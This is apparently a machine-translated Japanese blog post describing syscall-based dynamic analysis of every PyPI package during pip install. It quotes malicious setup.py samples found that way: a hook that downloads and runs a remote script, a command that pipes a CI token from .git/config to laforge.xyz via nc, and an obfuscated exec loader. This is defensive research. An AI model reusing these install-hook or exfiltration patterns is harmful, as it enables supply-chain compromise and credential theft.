現実には、PyPIのようなパッケージマネージャーは、ほとんどすべての企業が使用する重要なインフラストラクチャです。私はこのトピックについてたくさん書くことができましたが、今のところxkcdのこのリリースで十分です。
この分野の知識は私にとって興味深いので、問題の解決にどのように取り組むことができるかについての私の考えで答えました 。投稿全体を読む価値はありますが、1つの考えは私を放っておかなかった:パッケージをインストールした直後に何が起こるか。
ネットワーク接続の確立やプロセス中のコマンドの実行などのアクションは
pip install
、何か問題が発生する前に開発者がコードを調べる方法をほとんど提供しないため、常に注意して実行する 必要があります。
この問題をさらに深く掘り下げたかったので、この投稿では、悪意のあるアクティビティを探すために各PyPIパッケージをインストールして分析した方法を共有します。
悪意のあるライブラリを見つける方法
通常、作成者は
setup.py
パッケージファイルにコードを追加して、インストール中に任意のコマンドを実行します 。例はこのリポジトリで見ることができ ます。
大まかに言えば、潜在的に有害な依存関係を見つけるために、2つのことを行うことができます。悪いことのコードを調べる(静的分析)か、リスクを冒してインストールするだけで何が起こるかを確認します(動的分析)。
静的分析は非常に興味深いものですが(npmでも悪意のあるパッケージ
grep
を見つけた おかげで )、この投稿では動的分析について説明します。結局、私たちは何が起こるかを見ているので、それはより信頼できると思います 実際には、起こり得る厄介なことを探すだけではありません。
では、何を探しているのでしょうか。
重要なアクションの実行方法
一般に、何か重要なことが起こった場合、プロセスはカーネルによって実行されます。
pip
カーネルを介して重要なことを実行したい通常のプログラム(たとえば )は、syscallを使用します 。ファイルを開く、ネットワーク接続を確立する、コマンドを実行する-これらはすべてシステム呼び出しを介して行われます!
これについては、JuliaEvansコミックから詳しく知ることができます 。
つまり、Pythonパッケージのインストール中にsyscallを監視できれば、疑わしいことが起こっているかどうかを理解できます。このアプローチの利点は、コードの難読化の程度に依存しないことです。実際に何が起こっているかを正確に確認できます。
私はsyscallを監視するという考えを思い付いていなかったことに注意することが重要です。アダムボールドウィンのような人々 は2017年以来これについて話してきました 。さらに、ジョージア工科大学が発行した 素晴らしい記事があり、とりわけ同じアプローチを採用しています。正直なところ、この投稿では、彼らの作品を再現しようと思います。
したがって、syscallを追跡する必要があることはわかっていますが、それをどのように正確に行うのでしょうか。
Sysdigを使用したSyscallの追跡
syscallを監視するために利用できる多くのツールがあります。私のプロジェクトでは、構造化された出力と便利なフィルタリング機能の両方を提供するsysdigを使用し ました。
それを機能させるために、パッケージをインストールするDockerコンテナを起動すると、そのコンテナからのイベントのみを監視するsysdigプロセスも開始しました。また、パケットのダウンロードに関連するトラフィックでログを乱雑にしたくなかったため、/から
pypi.org
または へのネットワーク読み取り/書き込み操作を除外し
files.pythonhosted.com
ました。
syscallを傍受する方法を見つけたので、別の問題を解決する必要がありました。すべてのPyPIパッケージのリストを取得することです。
Pythonパッケージの入手
幸いなことに、PyPIには「 SimpleAPI 」と呼ばれる APIがあります。これは、「各パッケージへのリンクがある非常に大きなHTMLページ」と考えることもできます。これは非常に高品質のHTMLで書かれたシンプルですっきりとしたページです。
このページを利用して、ヘルプを使用してすべてのリンクを解析でき
pup
ます。約26万8000個のパッケージを受け取りました。
❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt
❯ wc -l pypi_full.txt
268038 pypi_full.txt
この実験では、各パッケージの最新リリースにのみ関心があります。古いリリースに悪意のあるバージョンのパッケージが埋め込まれている可能性がありますが、AWSの請求書は自己負担しません。
その結果、私は次のような処理パイプラインになりました。
つまり、各パッケージの名前をEC2インスタンスセットに送信し(将来、Fargateのようなものを使用したいのですが、Fargateがわからないので...)、PyPIからパッケージメタデータを取得してsysdigを実行します。また、
pip install
syscallとネットワークトラフィックに関する情報を収集しながら、を介してパッケージをインストールするためのコンテナのセットも あります。次に、すべてのデータがS3に転送されて処理されます。
プロセスは次のようになります。
結果
プロセスの完了後、S3バケットにある約1テラバイトのデータを取得し、約245,000パケットをカバーしました。一部のパッケージには公開されたバージョンがなく、一部のパッケージにはさまざまな処理エラーがありましたが、全体として、これは操作するのに最適なサンプルのように見えます。
さて、楽しい部分です 。
メタデータと出力を組み合わせた結果、次のようなJSONファイルのセットが作成されました。
{
"metadata": {},
"output": {
"dns": [], // Any DNS requests made
"files": [], // All file access operations
"connections": [], // TCP connections established
"commands": [], // Any commands executed
}
}
次に、データの収集を開始するための一連のスクリプトを作成し、何が無害で何が有害であるかを把握しようとしました。結果のいくつかを調べてみましょう。
ネットワークリクエスト
パッケージがインストールプロセス中にネットワーク接続を作成する必要がある理由はたくさんあります。おそらく彼はバイナリや他のリソースをダウンロードする必要があるかもしれません、それはある種の分析かもしれません、あるいは彼はシステムからデータや会計情報を抽出しようとしているかもしれません。
その結果、460個のパケットが109個の一意のホストへのネットワーク接続を作成することが判明しました。上記の記事で述べたように、それらのかなりの数は、パッケージがネットワーク接続を作成する共通の依存関係を持っているという事実によって引き起こされます。依存関係を照合することでそれらをフィルタリングできますが、私はまだそれを行っていません。
インストール中に観察されたDNSルックアップの詳細な内訳はここにあり ます。
コマンドの実行
ネットワーク接続と同様に、パッケージには、インストール中にシステムコマンドを実行する無害な理由があります。これは、ネイティブバイナリをコンパイルしたり、目的の環境を設定したりするために実行できます。
サンプルを調べたところ、60,725個のパッケージがインストール中にコマンドを実行していることがわかりました。また、ネットワーク接続と同様に、それらの多くはコマンドを実行するパッケージへの依存の結果であることに注意してください。
興味深いパッケージ
結果を調べたところ、ほとんどのネットワーク接続とコマンドは予想どおり無害に見えました。しかし、この種の分析の有用性を実証するために私が指摘したい奇妙な振る舞いのいくつかのケースがあります。
i-am-malicious
名前付きパッケージ
i-am-malicious
は、悪意のあるパッケージのコンセプトチェッカーのようです。このパッケージが調査する価値があるという考えを私たちに与えるいくつかの興味深い詳細があります(その名前が私たちにとって十分でなかった場合):
{
"dns": [{
"name": "gist.githubusercontent.com",
"addresses": [
"199.232.64.133"
]
}]
],
"files": [
...
{
"filename": "/tmp/malicious.py",
"flag": "O_RDONLY|O_CLOEXEC"
},
...
{
"filename": "/tmp/malicious-was-here",
"flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
},
...
],
"commands": [
"python /tmp/malicious.py"
]
}
私たちはすぐにここで何が起こっているのかを理解し始めます。への接続
gist.github.com
、Pythonファイルの実行、およびという名前のファイルの作成が表示され
/tmp/malicious-was-here
ます。もちろん、これは正確に
setup.py
次の場所で発生し ます。
from urllib.request import urlopen
handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
fp.write(handler.read())
import subprocess
subprocess.call(["python", "/tmp/malicious.py"])
このファイルは
malicious.py
単に
/tmp/malicious-was-here
「私はここにいた」をメッセージに追加し、これが確かに概念の証明であることを示唆してい ます。
maliciouspackage
独創的な名前の別のセルフスタイルのマルウェアパッケージは、
maliciouspackage
少し悪意があります。彼の出力は次のとおりです。
{
"dns": [{
"name": "laforge.xyz",
"addresses": [
"34.82.112.63"
]
}],
"files": [
{
"filename": "/app/.git/config",
"flag": "O_RDONLY"
},
],
"commands": [
"sh -c apt install -y socat",
"sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
"grep ci-token /app/.git/config",
"nc laforge.xyz 5566"
]
}
最初のケースのように、これは私たちに何が起こっているのかについての良い考えを与えます。この例では、パッケージはファイルからトークンを抽出し、
.git/config
それをにロードし
laforge.xyz
ます。を見ると
setup.py
、何が起こっているのかが正確にわかります。
...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
パッケージは好奇心が強い
easyIoCtl
です。「退屈なI / Oからの抽象化」を提供すると主張していますが、次のコマンドが実行されていることがわかります。
[
"sh -c touch /tmp/testing123",
"touch /tmp/testing123"
]
疑わしいが、害はない。ただし、これは syscalls追跡の能力の完璧な例です。
setup.py
プロジェクトに関連するコードは次の とおりです。
class MyInstall():
def run(self):
control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
control_flow_guard_init = ""
for controL_flow_code in control_flow_guard_mappers:
control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
exec(control_flow_guard_init)
このレベルの難読化では、何が起こっているのかを理解するのは困難です。従来の静的分析では通話を追跡できましたが
exec
、それだけです。
何が起こっているかを確認するために、次の
exec
よう
print
に置き換えることができ ます。
import os;os.system('touch /tmp/testing123')
追跡したのはこのコマンドであり、システム呼び出しのレベルで追跡しているため、コードを難読化しても結果に影響がないことを示しています。
悪意のあるパッケージを見つけるとどうなりますか?
悪意のあるパッケージを見つけたときに何ができるかを簡単に説明する価値があります。最初のステップは、PyPIボランティアに通知して、パッケージを削除できるようにすることです。これを行うには、security @ python.orgに書き込みます。
次に、BigQueryのPyPIパブリックデータセットを使用して、このパッケージがダウンロードされた回数を確認できます 。 過去30日間にダウンロードされた
回数を確認するクエリの例を次に示します
maliciouspackage
。
#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
-- Only query the last 30 days of history
AND DATE(timestamp)
BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND CURRENT_DATE()
このクエリを実行すると、400回以上ダウンロードされたことがわかります。
先に進む
これまでは、PyPI全般についてのみ見てきました。データを見ると、意味のある悪意のあるアクションを実行し、名前に「悪意のある」という単語が含まれていないパッケージは見つかりませんでした。そして、これは良いです!しかし、私が何かを見逃した可能性は常にあります。そうしないと、将来起こる可能性があります。データに興味がある場合は、ここで見つけることができます 。
後で、PyPIRSSフィードを使用して最新のパッケージ変更を取得するラムダ関数を記述します 。更新された各パッケージは同じ処理を受け、疑わしいアクティビティが検出された場合に通知を送信します。
を介してパッケージをインストールするだけで、ユーザーのシステムで任意のコマンドを実行できるのはまだ好きではありません
pip install
。ほとんどのユースケースは無害であることを理解していますが、それは考慮する必要のある脅威の機会を開きます。さまざまなパッケージマネージャーの監視を強化することで、深刻な影響を与える前に悪意のあるアクティビティの兆候を検出できることを願っています。
そして、この状況はPyPIだけに限ったことではありません。後で、RubyGems、npm、およびその他のマネージャーについて、上記の研究者と同じ分析を行いたいと思います。実験の実行に使用されるすべてのコードは、 ここにあります。いつものように、質問があれば、彼らに 聞いてください!
広告
VDSinaは、LinuxおよびWindows用の仮想サーバーを提供します。 プリインストールされているOSのいずれかを選択するか、イメージからインストールします。